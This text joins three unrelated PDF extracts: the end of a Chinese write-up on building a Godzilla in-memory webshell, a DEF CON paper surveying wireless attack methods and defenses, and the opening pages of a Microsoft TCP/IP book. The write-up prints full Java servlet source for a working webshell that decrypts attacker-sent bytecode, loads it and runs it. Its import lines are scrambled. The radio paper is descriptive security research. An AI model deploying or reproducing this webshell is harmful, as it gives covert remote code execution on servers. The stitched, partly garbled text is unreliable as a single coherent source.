this.requestData = (byte[]) retVObject;
}
}
}
return true;
}
}
}
分段来看,第一次equals的时候传入的是ByteArrayOutputStream实例
将其赋值给this.outputStream,this.outputStream是输出流,存储了response内容。
第二段equals的是pagecontext
先填充request,然后判断是否是session,如果是字节数组则说明是post参数 this.requestData =
(byte[]) obj; 如果是HttpSession实例则放入 this.httpSession
接着handlePayloadContext()填充request上下文和session
然后调用 session.getAttribute("parameters") 拿到requestData
第三段是toString
initSessionMap()初始化一个sessionMap放一些信息,然后formatParameter格式化参数map,然
后this.run()
在formatParameter()函数中向参数map中放键值对
给他打印出来看一看,bp三个请求打印了两个键值对
第一个请求是加载class字节码的,然后第二个第三个请求时调用字节码功能,通过methodName
来调用。接着run()完之后写输出。
那么请求流程就到这里,接下来看如何解决
解决pagecontext
上文讲到,requestData是post body,我们传入pagecontext的目的是为了通过session拿到
parameters,那么如果我们抛弃session,直接把parameters通过equals函数传给payload类呢?
bp第一个请求是加载字节码,我们通过defClass加载进去,然后第二个请求分为四个阶段
1. equals传入ByteArrayOutputStream实例填充outputStream
2. equals传递解码之后的data填充requestData
3. equals传递HttpServletRequest填充request
4. toString写response输出结果
而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext
完整代码
package
;
import
ServletException;
import
WebServlet;
import
HttpServlet;
import
HttpServletRequest;
import
HttpServletResponse;
import
IOException;
import
Method;
import
URL;
import
URLClassLoader;
@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64,
null);
value = (String) Encoder.getClass().getMethod("encodeToString", new
Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]
{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
com.example.demo3
javax.servlet.
javax.servlet.annotation.
javax.servlet.http.
javax.servlet.http.
javax.servlet.http.
java.io.
java.lang.reflect.
java.net.
java.net.
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64,
null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new
Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(),
"AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public Class defClass(byte[] classBytes) throws Throwable {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],
Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass",
byte[].class, int.class, int.class);
defMethod.setAccessible(true);
return (Class) defMethod.invoke(urlClassLoader, classBytes, 0,
classBytes.length);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws
ServletException, IOException {
try {
byte[] data = base64Decode(req.getParameter(pass));
data = x(data, false);
if (payload == null) {
payload = defClass(data);
} else {
java.io.ByteArrayOutputStream arrOut = new
java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(req);
resp.getWriter().write(md5.substring(0, 16));
f.toString();
resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
resp.getWriter().write(md5.substring(16));
}
} catch (Throwable e) {
}
}
}
文末
其实完整代码还是北辰发我的,我只是探究了一下其原因,这种pagecontext的问题还是得深入看
工具的功能实现才能解决问题。
另外自己在写冰蝎内存马的时候遇到了包装类的问题,而哥斯拉不存在这个问题。因为哥斯拉是
通过参数传递的payload,而冰蝎是直接把字节码放在了body中。
只能说哥斯拉yyds!
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。 | pdf |
Radio Exploitation 101
Characterizing, Contextualizing, and Applying Wireless Attack Methods
Matt Knight
Bastille Networks
San Francisco, CA
[email protected]
Marc Newlin
Bastille Networks
Atlanta, GA
[email protected]
Abstract—Reverse engineering wireless physical layers has never
been easier, thanks to the commoditization of Software Defined
Radio (SDR) technology and an active open source community.
However, the successful application of SDR to security challenges
requires extensive domain knowledge and insight into radio
frequency fundamentals.
The goal of this paper, and accompanying presentation, is
to highlight how wireless network exploitation is both similar
to, and distinct from wired, network exploitation, and to
offer techniques that will aid security researchers in thinking
creatively
about
wireless
reverse
engineering
and
exploit
development.
Index Terms—wireless, security, reverse engineering, software
defined radio, radio frequency, internet of things, mobile
I. INTRODUCTION
The
growth
of
mobile
and
Internet
of
Things
(IoT)
technologies has reshaped the computing landscape as we
know it. Devices are made to be “smart” (smart[phones
— cars — refridgerators — etc.]) by upgrading them with
embedded computers. By bolting on processing and network
connectivity, they are exposed to other devices on networks,
which can be as small as comprising only two devices or as
broad as the open Internet. This introduces an expansive new
attack surface to a hypothetical security model.
II. THE EVOLUTION OF NETWORK EXPLOITATION
Recent years have seen a flood of novel wireless exploits,
with exploitation moving beyond 802.11 and into more ob-
scure standard and proprietary wireless protocols. This can
be attributed to the proliferation and commoditization of
technologies that provide promiscuous access to the physical
layer of the communication stack. For context, we will briefly
discuss the evolution of network exploitation.
A. Network Abstraction Models
Network abstraction models, such as the Open Systems
Interconnection
(OSI)
model,
separate
communications
functions out into generalized components as a means
of promoting standardization and interoperability. These
abstraction models, however, are arbitrary constructs – that is
to say there is no fundamental difference between electrons
representing data bits at the Data Link Layer vs. data bits at
the Application Layer. However, these abstractions represent
boundaries along which vulnerabilities can exist due to
imperfect or incomplete integration. [1]
Inspecting data at these boundaries, or on lower layers
than manufacturers intended, is a productive means of
discovering vulnerabilities. With wireless systems, the lowest
layer which manufacturers expose is typically the Data Link
Layer (Layer 2) or the Network Layer (Layer 3). Because
the radio-based Physical Layer (Layer 1) is implemented
in purpose-built silicon, it is often either considered to be
out of scope of the security model or taken for granted by
system integrators and vendors. However, advances in radio
technology has made the inspection of radio-based Physical
Layer protocols viable, thus exposing a broad attack surface
to hackers.
B. Commoditization of Early Packet Sniffers
The first commercial network sniffer was released by Network
General as the Sniffer Network Analyzer software in 1986.
[1] Through the mid-1990s, the software was commonly sold
preinstalled on expensive Dolch computers the size of large
briefcases. Before long, commodity network cards became
capable of integrating with the Sniffer Network Analyzer and
applications like it, thus lowering the barrier to inspecting
wired network traffic. [2] Today, packet sniffing software like
Wireshark and tcpdump makes network analysis easier than
ever.
A similar evolution took place with 802.11 in the late
1990s and early 2000s. Monitoring arbitrary 802.11 channels
used to be the domain of expensive test equipment. However,
with
most
commercial
802.11
network
interfaces
now
supporting monitor mode, inspecting arbitrary 802.11 traffic
can be done with commodity 802.11 chipsets.
C. Commodity Software Defined Radio
Following the adoption of myriad wireless technologies in
support of mobile and IoT, we now observe the commodi-
tization of Software Defined Radio (SDR). Software Defined
Radio pushes the architectural hardware/software boundary out
closer to the radio, such that generic hardware can implement
arbitrary wireless protocols in software. This empowers re-
searchers to interface with any wireless system, as long as they
are able to implement the appropriate software. Throughout
the 2000s early Software Defined Radios could be had on an
academic, government, or military budget; now with commer-
cial products like the USRP ($650), BladeRF ($420), HackRF
($300), and the RTL-SDR (˜$20), Software Defined Radio
is within reach of modestly-funded hackers and independent
researchers.
D. The Internet of Embedded Systems
Setting aside marketing buzzwords for a moment, IoT devices,
and wireless radios themselves, are connected embedded sys-
tems. While adding computers to simple machines can lead
to increased precision and efficiency, the design and environ-
mental constraints placed on embedded systems make them
inherently more vulnerable than traditional platforms.
• Hardware limitations: Embedded systems are designed
to be small, low-power, cheap, and inexpensive. They
often use low-power embedded CPUs with limited com-
putational capacity and radio technologies that trade
data rates for endurance. Thus there can be limited
computational and networking bandwidth for encryption
overhead. Finally, embedded systems sometimes use in-
expensive one-time-programmable memory for storing
their images, meaning it is not uncommon for systems to
be unable to receive software updates once manufactured.
• Battery powered: Embedded devices are often battery
powered, meaning they need to aggressively duty-cycle
to save energy.
• Limited connectivity: If connected, embedded systems
are connected often using networking technologies that
have limited bandwidth and scope. This means it can
be difficult to provide sufficient bandwidth for encrypted
communication, or to deliver software updates to devices
in the field.
• Complicated deployments: Embedded systems are of-
ten deployed in hard-to-reach places by non-technical
installers. They therefore are often required to be sim-
ple to install and configure, and either immutable or
hard/expensive to reconfigure once deployed. Addition-
ally, embedded systems are often whitelabeled or sold
through distributors, making ownership of the software
stack a nontrivial matter.
• High endurance: Embedded devices are often expected
to last for years before replacement.
Given these traits, embedded vulnerabilities can persist
for years. Thus, security considerations are essential when
weighing the design of embedded systems, and evaluating the
security of the systems that connect them to the broader world.
III. RADIO-BASED PHYSICAL LAYERS
Wireless communication systems are defined by having a
radio-based physical layer (PHY). A radio-based PHY defines
how data presented by the Data Link Layer (MAC) gets
mapped into electromagnetic phenomena for transmission to
a remote receiver. Overall characteristics of the protocol, such
as bandwidth, promiscuity, and persistence, can vary based on
implementation. All wireless protocols, however, exist within
the radio frequency domain; therefore we invoke the following
concepts:
• Radio Spectrum: Radio waves travel along the electro-
magnetic spectrum. The radio spectrum can be thought of
as a shared communications bus which all radio protocols
use.
• Frequency: Since radio signals are waves, they are
periodic and therefore have a frequency. Within our bus-
based model, the spectrum is MIMO/multi-input multi-
output, with this multiplexing occurring by frequency.
• Channel: All radio protocols have some notional imple-
mentation of a channel. The channel is characterized by
the amount of bandwidth the protocol utilizes, centered
about the center frequency of the signal. There may be
one or several center frequencies depending on whether
the protocol channel hops or not. Channels may overlap,
and transmissions may collide – this is a reality of
working within a shared medium. Traditional electrical
data buses, such as SPI or CAN, are coordinated or
use deconfliction techniques to avoid collisions; wireless
protocols use channel monitoring and retransmissions to
mitigate the impact of collisions.
• Signal Power and Noise: Radio waves propagate in
a similar manner to audio waves. Both gradually lose
power as they radiate away from their source, until
they are eventually lost beneath the noise floor – that
is, they lose power to the point where they become
not discernible from the background noise. The noise
floor is influenced by both the radio receiver itself
and environmental conditions, including intentional and
unintentional (interfering) radio emissions.
IV. RADIO EXPLOITATION 101
Here we begin to outline our wireless threat taxonomy,
with particular emphasis on what makes wireless exploita-
tion and defense distinct from the same on wired networks.
To this end, we have consolidated noteworthy techniques
into the following attack models. This non-exhaustive list
includes sniffing, wardriving, replay attacks, jamming, MAC-
layer channel reservation abuse, evil twin attacks, firmware
update exploitation, and physical layer protocol abuse. For
each type of attack we will describe:
• Method of attack: In plain English, how is this attack
performed?
• Potential impact: What are the consequences for the
victims of such an attack?
• Analogous attack on wired networks: Is there an
analogous attack on wired networks? If not, how and why
is this attack scenario unique to RF?
• A recent example of such an attack: To provide context,
what is a real-world example of a system or organization
that has fallen victim to such an attack?
• Limitations and defensive mitigations: What sets of
circumstances have to align to facilitate this attack? How
broadly viable is it? What steps can defenders take to
mitigate their exposure?
• Description of our paired DEF CON demo: If there
is a live demo from the associated ”Radio Exploitation
101” DEF CON talk, it will be explained here.
A. Sniffing
We begin with sniffing, the passive observation of wireless
network traffic. Sniffing is noteworthy because the wireless
domain enables truly promiscuous sniffing with no direct
physical access.
• Method of attack: Sniffing is performed by using a radio
receiver to passively receive wireless network traffic.
• Potential impact: Data loss, device/network discovery
• Wired analogue: Sniffing exists in wired contexts too.
However, wired network sniffing requires direct physical
access to a network or bus – in other words, one must be
physically connected to the network in order to observe
its traffic. Since electromagnetic signals by nature radiate
throughout free space, listeners other than the intended
receiver can remotely monitor network traffic without
detection.
• Recent example: Marc Newlin’s 2016 Mousejack vul-
nerability revealed that many wireless keyboards failed
to properly encrypt their keystrokes, with many vendors
forgoing encryption entirely – thus, sniffing their traffic
was trivial.
• Limitations and defensive mitigations: While attackers
do not require direct access to a bus, sniffing still requires
a degree of physical proximity to the transmitter. Addi-
tionally, attackers must possess a radio that is compatible
with the protocol to be sniffed. Defenders can mitigate
their exposure by encrypting traffic so that sniffed packets
will be of limited utility to attackers.
• DEF CON demo: Live demonstrationSniffing keystrokes
from an unencrypted wireless keyboard.
B. Wardriving
Wardriving is a type of sniffing that refers to the act of
searching for wireless networks or devices. Its name origi-
nates from 802.11 wardriving, where 802.11 access points are
sought using equipment within a moving vehicle. With the
growth of mobile and IoT protocols, wardriving now refers to
discovering non-802.11 RF networks as well.
• Method of attack: Wardriving can be passive or active.
Passive scenarios involve the attacker sniffing on channels
of interest, looking for wireless traffic that denotes the
presence of a network or device(s). Active scenarios
involve the attacker transmitting messages intended to
induce a response from present devices or infrastructure,
and then sniffing for said responses.
• Potential impact: Discovery of devices and networks,
identifying exploitable devices
• Wired analogue: Active wardriving is analogous to port
scanning. Just as port scanning is a way of discovering
potentially exploitable services running on an endpoint,
active wardriving is a means of discovering and enumerat-
ing potentially exploitable devices within an environment.
Additionally, just as the nmap port scanning tool provides
operating system fingerprinting through wired querying,
wardriving enables device fingerprinting through wireless
characteristics.
• Recent example: Wardriving for 802.15.4 networks is
built in to the Killerbee 802.15.4/ZigBee attack frame-
work. The zbstumbler script hops from channel to chan-
nel, sending broadcast beacons and listening for beacon
responses from network coordinators.
• Limitations and defensive mitigations: As with sniffing,
attackers must have a degree of physical proximity to
the sought after wireless devices in order to wardrive for
them. This can be overcome through the use of directional
equipment, as was done with the proliferation of jury-
rigged cantennas during the peak of 802.11 wardriving.
Wardriving is a conspicuous process, so defenders can
mitigate exposure by being aware of its signatures – for
instance, seeing an atypical flood of probe or beacon
requests across consecutive channels.
• DEF CON demo: Live demonstration of beaconing for
802.15.4 coordinators.
C. Replay Attack
Replay attacks involve retransmitting a previously captured
transmission, possibly to induce a previously observed state
change or action within the network. The replay attack may
involve retransmitting a captured raw PHY-layer payload or
the synthesis of a new frame based on decoded data.
• Method of attack: An attacker must first capture trans-
mission of interest that is correlated with the action on the
target they wish to induce – that is, the transmission they
intend to replay. This can either be a raw IQ spectrum
capture or a decoded packet payload. Software Defined
Radio can produce either as long as it has the appropriate
decoding stack behind it. The captured transmission can
then be replayed to induce the intended action on the
network, either by replaying the raw IQ through the
appropriate Software Defined Radio or by generating a
new transmission from the decoded packet payload.
• Potential impact: Change the state of a network, or
induce a behavior by a device on a network
• Wired analogue: Replay attacks exist in wired contexts.
• Recent example: The April 2017 Dallas tornado emer-
gency alert siren attack is widely believed to be an RF
replay attack. The attacker likely used a Software Defined
Radio to capture the unencrypted, unauthenticated wire-
less signal used to test the sirens and replay said signal
at a later date. [3]
• Limitations and defensive mitigations: Replay attacks
can be defeated by enforcing cryptographic authentica-
tion and freshness. Cryptographic authentication is the
practice of using cryptography to establish trust among
two or more endpoints – essentially using cryptography to
sign messages as a means of validating their authenticity.
Freshness refers to tracking a sequence number within
a message frame – freshness is not a security feature in
and of itself, but when combined with authentication and
encryption can make replay attacks far harder to execute.
• DEF CON demo: Live demonstration of a replay attack
against a Fortress home security smart home alarm device
and SOS siren.
D. Jamming
Jamming is perhaps the most well-known attack on wireless
systems. Since the radio frequency domain can be thought of
as the bus that all wireless systems share, loading it up with
powerful wideband noise or spurious traffic is an effective way
of denying a communications channel.
• Method of attack: Jamming in its simplest form can
be conducted by transmitting noise within the target
network’s RF channel – that is, at the same frequency and
with sufficient bandwidth and power. In lieu of wideband
noise, rapidly sending arbitrary packets while ignoring
channel contention can have the same effect.
• Potential impact: Denies legitimate network traffic, dis-
rupts network state
• Wired analogue: Wired Denial of Service attacks are
analogous to jamming – that is, filling a communications
channel with spurious traffic intended to overload a
communications channel.
• Recent example: In 2014, researcher Logan Lamb dis-
covered that wireless home security system sensors could
be thwarted by using a wideband jammer to block signals
traveling from the sensors to the control panel. [4]
• Limitations and defensive mitigations: From the at-
tacker’s perspective, jamming is self-defeating – jamming
denies the target network, but also the attacker’s ability to
monitor attempted transmissions on the jammed network.
It can also be fairly easy to detect. Defenders can mitigate
jamming with the implementation of jam detection mech-
anisms. These can be practically implemented on em-
bedded devices by polling the clear-channel assessment
(CCA) mechanism available on many hardware radios or
by taking a power measurement of the channel. Short
of this, devices can use network health diagnostics and
statistics to determine when their network may be under
attack. Examples on how to evade these jam detection
mechanisms are outlined below.
• DEF CON demo: Live demonstration of Logan Lamb’s
alarm system jammer.
Evasive Jamming: As mentioned, device manufacturers can
take a defense posture against jamming by implementing jam
detection countermeasures on their devices. Here are two ways
that that clever attackers may be able to circumvent such jam
detection mechanisms:
• Duty Cycled Jamming: Duty-cycling a jammer, or puls-
ing it on and off, is one way of defeating CCA-based
jam detection mechanisms. If done at an appropriate rate,
cycling the jammer and allowing the channel to appear
open from the perspective of the device under attack will
keep the detection functions from triggering while still
denying the channel.
• Reflexive Jamming: Reflexive jamming is one way of
denying wireless communications that is more difficult to
detect. Reflexive jamming involves having the radio doing
the jamming to wait for a transmission to begin, jamming
briefly only once a transmission is detected. The jamming
signal collides with part of the packet, corrupting some of
its symbols and causing it to fail the receiver’s expected
CRC check. Thus, the jammer denies the channel, or even
a specific device/set of devices, while remaining active for
the shortest possible time.
E. Data Link Layer Channel Reservation Abuse
The 802.11 data link layer employs carrier-sense multiple
access with collision avoidance (CSMA/CA), an algorithm
which prevents two nodes from transmitting simultaneously.
CSMA/CA uses two methods to determine if a channel is
currently in use by another node: carrier-sensing, and virtual
carrier-sensing. Carrier-sensing detects a busy channel by
measuring RF energy. The CSMA/CA state machine assumes
that another node is currently transmitting when it detects RF
energy above a predefined threshold, and waits for the channel
to return to idle before transmitting. Virtual carrier-sensing
acts on the frame duration field in the 802.11 MAC header,
which defines the expected time, in microseconds, required
to transmit the packet and receive an ACK. In order to save
power, when an 802.11 node receives a packet, it will assume
the channel is occupied for the duration specified in the MAC
header.
• Method of attack: Virtual carrier-sensing can be abused
to effectively jam an 802.11 channel without needing to
transmit at a high duty cycle. By transmitting a frame
with an empty payload, and a frame duration value
of 32,767 or greater, other nodes in range will remain
inactive for 32ms. Therefore, an 802.11 channel can be
effectively jammed by transmitting 30 such frames per
second.
• Potential impact: Denial of service: legitimate 802.11
nodes are denied access to the RF channel.
• Wired
analogue:
Denial
of
service,
however
this
CSMA/CA virtual carrier-sensing is unique to wireless
networking protocols.
• Recent example: There are no known recent examples
of this attack. Bastian Bloessl is credited with suggesting
the attack vector.
• Limitations and defensive mitigations: The network
allocation vector (NAV) counter, which stores the remain-
ing duration for which an 802.11 channel is expected
to be occupied, has a maximum value of 32,767. This
limits the the effect of a single malicious packet to 32ms,
requiring the attacker to continually transmit, albeit with
a low duty cycle.
• DEF CON demo: Live demonstration of a virtual carrier-
sense abuse attack.
F. Evil Twin
An Evil Twin attack involves standing up a decoy device or
rogue access point that mimics trusted infrastructure, such that
it tricks victims into connecting to it. It is a way of automating
the establishment of trust to eavesdrop on or interact with
clients. The classic example of an 802.11 Evil Twin is the Wi-
Fi Pineapple Karma attack [5], however examples exist on
other protocols as well.
• Method of attack: The attacker must first capture the
defining metadata of the infrastructure to be mimicked.
This may include RF channel information and addressing
information, for example MAC addresses and SSIDs for
802.11. These metadata will differ for other protocols.
Then a decoy device can be set up using this extracted
configuration. If done convincingly, clients may elect
to trust the mimic and connect to it instead of the
legitimate AP. This technique can be combined with other
techniques such as jamming to further deny the legitimate
infrastructure and make the mimic appear even more
desirable.
• Potential impact: Eavesdropping and tampering with
network traffic, data loss, tracking devices
• Wired analogue: Wireless Evil Twin attacks are analo-
gous to ARP cache poisoning, or ARP spoofing. With
ARP poisoning, an attacker injects fraudulent ARP re-
sponses into a local area network to get targeted clients
to associate the attacker’s MAC address with a target IP
address. This results in the targeted clients routing mes-
sages to the attacker rather than the intended recipient.
Evil Twin attacks have similar characteristics – the rogue
device hijacks routing as a means of intercepting traffic.
• Recent example: The Wi-Fi Pineapple is a well-known
device capable of executing Evil Twin attacks. Addition-
ally, IMSI Catchers such as the Stingray are Evil Twins
– rogue cell towers such as these exploit the lack of
mutual authentication in the GSM cellular protocol to
masquerade as legitimate cellular infrastructure.
• Limitations and defensive mitigations: Because of the
complexity associated with convincingly mimicking an
existing device or communications protocol, Evil Twin
attacks can be difficult to execute. In addition, if the
attacker’s rogue device has to compete side-by-side with
legitimate device, it may also be necessary for the at-
tacker to deny the legitimate device with other offensive
techniques such as jamming.
From the defender’s perspective, Evil Twin attacks can be
mitigated through the proper use of cryptographic mutual
authentication. Authentication allows the devices to trust
the identity of a recipient before electing to associate with
or route traffic to them. GSM IMSI catchers present an
example of mutual authentication not being used properly.
Within the GSM protocol, basestations can authenticate
the identity of handsets, however handsets do not au-
thenticate basestations. Thus, it is trivial for an attacker
to stand up a rogue basestation, because handsets have
no robust way of verifying their identity.
• DEF CON demo: Live demonstration of a rogue GSM
basestation.
G. Firmware Update Mechanisms
Attacks on wireless firmware update mechanisms enable at-
tackers to execute arbitrary software and gain persistence on
a device.
• Method of attack: A highly generalized case of this
attack involves the attacker identifying the presence of
a wireless firmware update mechanism within a target
device, preparing a modified binary, overcoming firmware
encryption or secure boot (if present), and delivering the
modified binary to the target device. Such a modified
binary could implement arbitrary malicious features, in-
cluding but not limited to self-propagating to other similar
devices as a worm, or exfiltrating network data back to
the attacker, or bricking the device.
• Potential impact: Attacker gaining persistence on the
device, self-propagation (i.e. worm), denial of service,
data loss
• Wired analogue: Attacking wireless firmware update
mechanisms presents opportunities to exploit embedded
devices in manners similar to how malware operates on
traditional endpoints. Additionally, the ability to have in-
fected devices infect other devices is directly comparable
to traditional worms.
• Recent example: Eyal Ronen, Colin O’Flynn, Adi
Shamir, and Achi-Or Weingarten’s “ZigBee Chain Re-
action” from 2016 is a highly publicized recent example
of an attack on a wireless firmware update mechanism.
Their attack showcased deploying malicious firmware to
a set of Philips Hue lightbulbs from a radio mounted
on a drone. In addition to having to figure out ZigBee’s
wireless firmware update mechanics, they also had to
obtain the firmware signing key used by Philips to craft
their secure boot images. [6]
• Limitations and defensive mitigations: Defenders can
mitigate attacks like this by implementing modern best
practices such as secure boot/firmware encryption/image
signing and network encryption.
• DEF CON demo: No demo, but a discussion of the
aforementioned ZigBee firmware OTA attack.
H. Physical Layer Protocol Abuse
Physical Layer Protocol Abuse attacks, as we style them, in-
volve sending wireless transmissions that exploit irregularities
and corner cases in the receiver’s physical layer state machine.
Effects of these attacks can vary, from being able to transmit
from a device without direct control of the radio to being able
to send hidden or difficult-to-detect messages within the radio
spectrum.
• Method of attack: The techniques used to implement
these attacks, and even their desired outcomes, are varied
in nature, so generalizing them is difficult. One example
involves exploiting the structure of the physical layer
frame by embedding the symbols that comprise an entire
PHY frame within the payload of another packet, such
that two well-formed packets are sent with a single call to
the radio. Other examples include using illegal preamble
and header values to create transmissions that certain
radio state machines may not be able to receive, or
exploiting symbol mapping tables to exploit corner cases
in a receiver’s state machine.
• Potential impact: Wireless IDS evasion, device finger-
printing, privilege escalation
• Wired analogue: Covert messaging has been demon-
strated on the 802.3 Ethernet physical layer.
• Recent example: Perhaps the best-known example of
physical layer abuse is the packet-in-packet 802.15.4 at-
tack from 2011. [7] The same group from Dartmouth also
developed series of 802.15.4 selective evasion techniques
by wirelessly fingerprinting common chipsets. [8]
• Limitations and defensive mitigations: Since defenders
have to assign significant trust to their hardware, there
are few practical options for protecting against creative
wireless physical layer attacks.
• DEF CON demo: Live demonstration of 802.15.4
evasion techniques.
V. CONCLUSIONS
As embedded systems continue to permeate our digital lives,
wireless communication systems are slated to become even
more ubiquitous and diverse. As these systems continue to
assume critical functions within society, it is paramount that
device manufacturers and integrators consider the novel chal-
lenges that accompany such interfaces. Rather than dismissing
RF as voodoo that magically makes bits appear on far-
away devices, remember that radios are deterministic state
machines with behavior that can be rationally understood.
Finally, remember that radios are hardware and hardware
makes vulnerabilities last: thus, grasping wireless today is
an essential step to securing communications for years to
come.
VI. FURTHER READING
For further reading, consider consulting the following materi-
als:
A. RF Physical Layer Fundamentals and Reverse Engineering
Techniques: “So You Want to Hack Radios” Series
• Shmoocon:
https://www.youtube.com/watch?v=
L3udJnRe4vc
• Troopers17:
https://www.youtube.com/watch?v=
OFRwqpH9zAQ
• Hack in the Box Amsterdam 2017: https://www.
youtube.com/watch?v=QeoGQwT0Z1Y
B. Protocol Deep Dives
• LoRa: Matt’s presentation on the LoRa physical layer
from 33c3: https://media.ccc.de/v/33c3-7945-decoding
the lora phy
• Mousejack: Marc’s presentation on vulnerabilities in
the
nRF24
wireless
keyboard
and
mouse
protocol
from DEF CON 24: https://www.youtube.com/watch?v=
00A36VABIA4
C. Applying Open Source Intelligence (OSINT) to the Reverse
Engineering Process
• Hack in the Box Amsterdam 2016: https://www.
youtube.com/watch?v=JUAiav674D8
REFERENCES
[1] A.
Joch,
“Network
sniffers,”
Article,
2001,
http://www.computerworld.com/article/2583125/lan-
wan/network-sniffers.html.
[2] “Network
general
analyzer
sniffs
out
net-
work
trouble,”
Magazine
Article,
1996,
https://books.google.com/books?id=Ij0EAAAAMBAJ&lpg
=PA47-IA6&ots=CKwhmoptiu&dq=dolch%20sniffer%20
history&pg=PA47-IA6#v=onepage&q=dolch%20sniffer%20
history&f=false.
[3] B. Seeber, “Dallas siren attack,” Online Case Study,
2017,
https://www.bastille.net/blogs/2017/4/17/dallas-
siren-attack.
[4] L.
Lamb,
“Home
insecurity:
No
alarms,
false
alarms,
and
sigint,”
Paper,
2017,
https://media.defcon.org/DEF%20CON%2022/DEF%20
CON%2022%20presentations/Logan%20Lamb/DEFCON-
22-Logan-Lamb-HOME-INSECURITY-NO-ALARMS-
FALSE-ALARMS-AND-SIGINT-WP.pdf.
[5] S. Helme, “The wifi pineapple - using karma and
dnsspoof to snag unsuspecting victims,” Blog Post, 2013,
https://scotthelme.co.uk/wifi-pineapple-karma-dnsspoof/.
[6] E. Ronen, C. O’Flynn, A. Shamir, and A.-O. Weingarten,
“Iot goes nuclear: Creating a zigbee chain reaction,” Paper,
2016, http://iotworm.eyalro.net/iotworm.pdf.
[7] T. Goodspeed, S. Bratus, R. Melgares, R. Shapiro,
and R. Speers, “Packets in packets: Orson welles? in-
band signaling attacks for modern radios,” Paper, 2011,
https://www.usenix.org/legacy/event/woot11/tech/final files/
Goodspeed.pdf.
[8] I. R. Jenkins, R. Shapiro, S. Bratus, T. Goodspeed,
R. Speers, and D. Dowd, “Speaking the local di-
alect:
Exploiting
differences
between
ieee
802.15.4
receivers
with
commodity
radios
for
fingerprinting,
targeted
attacks,
and
wids
evasion,”
Paper,
2014,
http://www.cs.dartmouth.edu/reports/TR2014-749.pdf. | pdf |
TCP/IP Fundamentals for Microsoft Windows
Microsoft Corporation
Published: May 21, 2006
Updated: Jan 9, 2012
Author: Joseph Davies
Editor: Anne Taussig
Abstract
This online book is a structured, introductory approach to the basic concepts and principles of the
Transmission Control Protocol/Internet Protocol (TCP/IP) protocol suite, how the most important
protocols function, and their basic configuration in the Microsoft® Windows Vista™, Windows
Server® 2008, Windows® XP, and Windows Server 2003 families of operating systems. This
book is primarily a discussion of concepts and principles to lay a conceptual foundation for the
TCP/IP protocol suite and provides an integrated discussion of both Internet Protocol version 4
(IPv4) and Internet Protocol version 6 (IPv6).
The information contained in this document represents the current view of
Microsoft Corporation on the issues discussed as of the date of
publication. Because Microsoft must respond to changing market
conditions, it should not be interpreted to be a commitment on the part of
Microsoft, and Microsoft cannot guarantee the accuracy of any
information presented after the date of publication.
This content is for informational purposes only. MICROSOFT MAKES NO
WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE
INFORMATION IN THIS DOCUMENT.
Complying with all applicable copyright laws is the responsibility of the
user. The terms of use of this document can be found at
http://www.microsoft.com/info/cpyright.mspx.
Microsoft may have patents, patent applications, trademarks, copyrights,
or other intellectual property rights covering subject matter in this
document. Except as expressly provided in any written license
agreement from Microsoft, the furnishing of this document does not give
you any license to these patents, trademarks, copyrights, or other
intellectual property.
Unless otherwise noted, the example companies, organizations, products,
domain names, e-mail addresses, logos, people, places, and events
depicted herein are fictitious, and no association with any real company,
organization, product, domain name, email address, logo, person, place,
or event is intended or should be inferred.
© 2008 Microsoft Corporation. All rights reserved.
Microsoft, Active Directory, Windows, Windows NT 4.0, Windows Vista,
and Windows Server are either registered trademarks or trademarks of
Microsoft Corporation in the United States and/or other countries.
All other trademarks are property of their respective owners.
TCP/IP Fundamentals for Microsoft Windows
Page: i
Contents
Chapter 1 – Introduction to TCP/IP ........................................................................................................ 1
Chapter Objectives ................................................................................................................................ 2
History of TCP/IP ................................................................................................................................... 3
The Internet Standards Process ............................................................................................................ 5
Requests for Comments (RFCs) ........................................................................................................ 5
TCP/IP Terminology ............................................................................................................................... 7
TCP/IP Components in Windows........................................................................................................... 9
Configuring the IPv4-based TCP/IP Component in Windows ............................................................ 9
Automatic Configuration ............................................................................................................... 10
Manual Configuration .................................................................................................................... 11
Installing and Configuring the IPv6-based TCP/IP Component in Windows ................................... 12
Windows Vista and Windows Server 2008 ................................................................................... 12
Windows XP and Windows Server 2003 ...................................................................................... 13
Name Resolution Files in Windows .................................................................................................. 14
TCP/IP Tools in Windows ................................................................................................................. 14
The Ipconfig Tool .......................................................................................................................... 15
